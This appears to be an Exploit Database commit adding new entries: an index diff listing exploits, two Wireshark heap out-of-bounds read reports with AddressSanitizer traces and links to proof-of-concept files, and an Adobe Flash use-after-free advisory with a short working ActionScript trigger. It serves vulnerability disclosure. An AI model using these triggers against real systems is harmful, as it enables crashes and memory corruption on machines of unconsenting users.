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3 new exploits
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Offensive Security 2015-12-23 05:03:04 +00:00
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files.csv
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@ -35325,5 +35325,8 @@ id,file,description,date,author,platform,type,port
39068,platforms/php/webapps/39068.txt,"Ovidentia online Module 2.8 - GLOBALS[babAddonPhpPath] Remote File Inclusion",2015-12-21,bd0rk,php,webapps,0
39069,platforms/php/webapps/39069.pl,"Ovidentia Widgets 1.0.61 - Remote Command Execution Exploit",2015-12-21,bd0rk,php,webapps,80
39070,platforms/windows/dos/39070.txt,"Base64 Decoder 1.1.2 - SEH OverWrite PoC",2015-12-21,Un_N0n,windows,dos,0
39072,platforms/win64/dos/39072.txt,"Adobe Flash Sound.setTransform - Use-After-Free",2015-12-21,"Google Security Research",win64,dos,0
39073,platforms/cgi/dos/39073.txt,"Seowon Intech WiMAX SWC-9100 Router /cgi-bin/reboot.cgi Unauthenticated Remote Reboot DoS",2014-02-03,"Josue Rojas",cgi,dos,0
39074,platforms/cgi/remote/39074.txt,"Seowon Intech WiMAX SWC-9100 Router /cgi-bin/diagnostic.cgi ping_ipaddr Parameter Remote Code Execution",2014-02-03,"Josue Rojas",cgi,remote,0
39076,platforms/multiple/dos/39076.txt,"Wireshark infer_pkt_encap - Heap-Based Out-of-Bounds Read",2015-12-22,"Google Security Research",multiple,dos,0
39077,platforms/multiple/dos/39077.txt,"Wireshark AirPDcapDecryptWPABroadcastKey - Heap-Based Out-of-Bounds Read",2015-12-22,"Google Security Research",multiple,dos,0

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66
platforms/multiple/dos/39076.txt Executable file
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Source: https://code.google.com/p/google-security-research/issues/detail?id=658
The following crash due to a heap-based out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):
--- cut ---
==6473==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61b00001335c at pc 0x7f391e585d1e bp 0x7ffc0ff625c0 sp 0x7ffc0ff625b8
READ of size 1 at 0x61b00001335c thread T0
#0 0x7f391e585d1d in infer_pkt_encap wireshark/wiretap/ngsniffer.c:1767:27
#1 0x7f391e582ac7 in fix_pseudo_header wireshark/wiretap/ngsniffer.c:1805:11
#2 0x7f391e57d07e in ngsniffer_process_record wireshark/wiretap/ngsniffer.c:1299:20
#3 0x7f391e576418 in ngsniffer_read wireshark/wiretap/ngsniffer.c:1034:9
#4 0x7f391e62429b in wtap_read wireshark/wiretap/wtap.c:1309:7
#5 0x51f7ea in load_cap_file wireshark/tshark.c:3479:12
#6 0x515daf in main wireshark/tshark.c:2197:13
0x61b00001335c is located 0 bytes to the right of 1500-byte region [0x61b000012d80,0x61b00001335c)
allocated by thread T0 here:
#0 0x4c0bc8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x7f390a251610 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e610)
#2 0x7f391e48d0e5 in wtap_open_offline wireshark/wiretap/file_access.c:1105:2
#3 0x51bd1d in cf_open wireshark/tshark.c:4195:9
#4 0x51584e in main wireshark/tshark.c:2188:9
SUMMARY: AddressSanitizer: heap-buffer-overflow wireshark/wiretap/ngsniffer.c:1767:27 in infer_pkt_encap
Shadow bytes around the buggy address:
0x0c367fffa610: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffa620: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffa630: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffa640: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffa650: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c367fffa660: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
0x0c367fffa670: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffa680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c367fffa690: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffa6a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c367fffa6b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==6473==ABORTING
--- cut ---
The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11827. Attached are two files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39076.zip

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platforms/multiple/dos/39077.txt Executable file
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Source: https://code.google.com/p/google-security-research/issues/detail?id=657
The following crash due to a heap-based out-of-bounds read can be observed in an ASAN build of Wireshark (current git master), by feeding a malformed file to tshark ("$ ./tshark -nVxr /path/to/file"):
--- cut ---
==6158==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200035b1df at pc 0x0000004aaf85 bp 0x7ffcdca29930 sp 0x7ffcdca290e0
READ of size 16 at 0x60200035b1df thread T0
#0 0x4aaf84 in __asan_memcpy llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393
#1 0x7fc44e6a216a in AirPDcapDecryptWPABroadcastKey wireshark/epan/crypt/airpdcap.c:454:5
#2 0x7fc44e6a0fd6 in AirPDcapRsna4WHandshake wireshark/epan/crypt/airpdcap.c:1405:21
#3 0x7fc44e698b78 in AirPDcapScanForKeys wireshark/epan/crypt/airpdcap.c:563:13
#4 0x7fc44e69749b in AirPDcapPacketProcess wireshark/epan/crypt/airpdcap.c:695:21
#5 0x7fc44f596013 in dissect_ieee80211_common wireshark/epan/dissectors/packet-ieee80211.c:17767:9
#6 0x7fc44f569dae in dissect_ieee80211 wireshark/epan/dissectors/packet-ieee80211.c:18375:10
#7 0x7fc44e4f8cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#8 0x7fc44e4eb5ea in call_dissector_work wireshark/epan/packet.c:691:9
#9 0x7fc44e4f52be in call_dissector_only wireshark/epan/packet.c:2662:8
#10 0x7fc44e4e6ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
#11 0x7fc44f51c032 in dissect_wlan_radio wireshark/epan/dissectors/packet-ieee80211-radio.c:975:10
#12 0x7fc44e4f8cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#13 0x7fc44e4eb5ea in call_dissector_work wireshark/epan/packet.c:691:9
#14 0x7fc44e4f52be in call_dissector_only wireshark/epan/packet.c:2662:8
#15 0x7fc44e4e6ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
#16 0x7fc44f52d965 in dissect_radiotap wireshark/epan/dissectors/packet-ieee80211-radiotap.c:1796:2
#17 0x7fc44e4f8cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#18 0x7fc44e4eb5ea in call_dissector_work wireshark/epan/packet.c:691:9
#19 0x7fc44e4eadbd in dissector_try_uint_new wireshark/epan/packet.c:1148:9
#20 0x7fc44f1fa5f6 in dissect_frame wireshark/epan/dissectors/packet-frame.c:500:11
#21 0x7fc44e4f8cc1 in call_dissector_through_handle wireshark/epan/packet.c:616:8
#22 0x7fc44e4eb5ea in call_dissector_work wireshark/epan/packet.c:691:9
#23 0x7fc44e4f52be in call_dissector_only wireshark/epan/packet.c:2662:8
#24 0x7fc44e4e6ccf in call_dissector_with_data wireshark/epan/packet.c:2675:8
#25 0x7fc44e4e633b in dissect_record wireshark/epan/packet.c:501:3
#26 0x7fc44e4943c9 in epan_dissect_run_with_taps wireshark/epan/epan.c:373:2
#27 0x5264eb in process_packet wireshark/tshark.c:3728:5
#28 0x51f960 in load_cap_file wireshark/tshark.c:3484:11
#29 0x515daf in main wireshark/tshark.c:2197:13
0x60200035b1df is located 0 bytes to the right of 15-byte region [0x60200035b1d0,0x60200035b1df)
allocated by thread T0 here:
#0 0x4c0bc8 in malloc llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:40
#1 0x7fc446a1c610 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x4e610)
SUMMARY: AddressSanitizer: heap-buffer-overflow llvm/projects/compiler-rt/lib/asan/asan_interceptors.cc:393 in __asan_memcpy
Shadow bytes around the buggy address:
0x0c04800635e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c04800635f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480063600: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480063610: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480063620: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c0480063630: fa fa fa fa fa fa fa fa fa fa 00[07]fa fa 00 00
0x0c0480063640: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c0480063650: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c0480063660: fa fa 00 00 fa fa 00 00 fa fa fd fd fa fa 01 fa
0x0c0480063670: fa fa 06 fa fa fa fd fd fa fa fd fd fa fa 00 07
0x0c0480063680: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==6158==ABORTING
--- cut ---
The crash was reported at https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=11826. Attached are two files which trigger the crash.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39077.zip

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platforms/win64/dos/39072.txt Executable file
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Source: https://code.google.com/p/google-security-research/issues/detail?id=568
There is a use-after-free in Sound.setTransform. If a transform value is set to an object with valueOf defined, it can free the transform before the values are set. A minimal PoC is as follows:
this.createEmptyMovieClip("my_mc", 1);
var my_sound:Sound = new Sound("my_mc");
var o = {valueOf : func};
my_sound.attachSound("world");
my_sound.setTransform({ll : o, lr: 0x77777777, rr : 0x77777777, rl : 0x77777777});
my_sound.start();
function func(){
my_mc.removeMovieClip();
return 0x77777777;
}
A sample swf and fla are attached. Note that these PoCs will not cause a crash. Instead, they demonstrate the use-after-free by overwriting the matrix array of a ConvolutionFilter. The use-after-free changes the array from being all zeros to having values of float 0x77777777 at the end. The test fails if the second array is not all zero. The test passes if the second array is all zero. These PoCs only work on 64-bit systems.
Proof of Concept:
https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39072.zip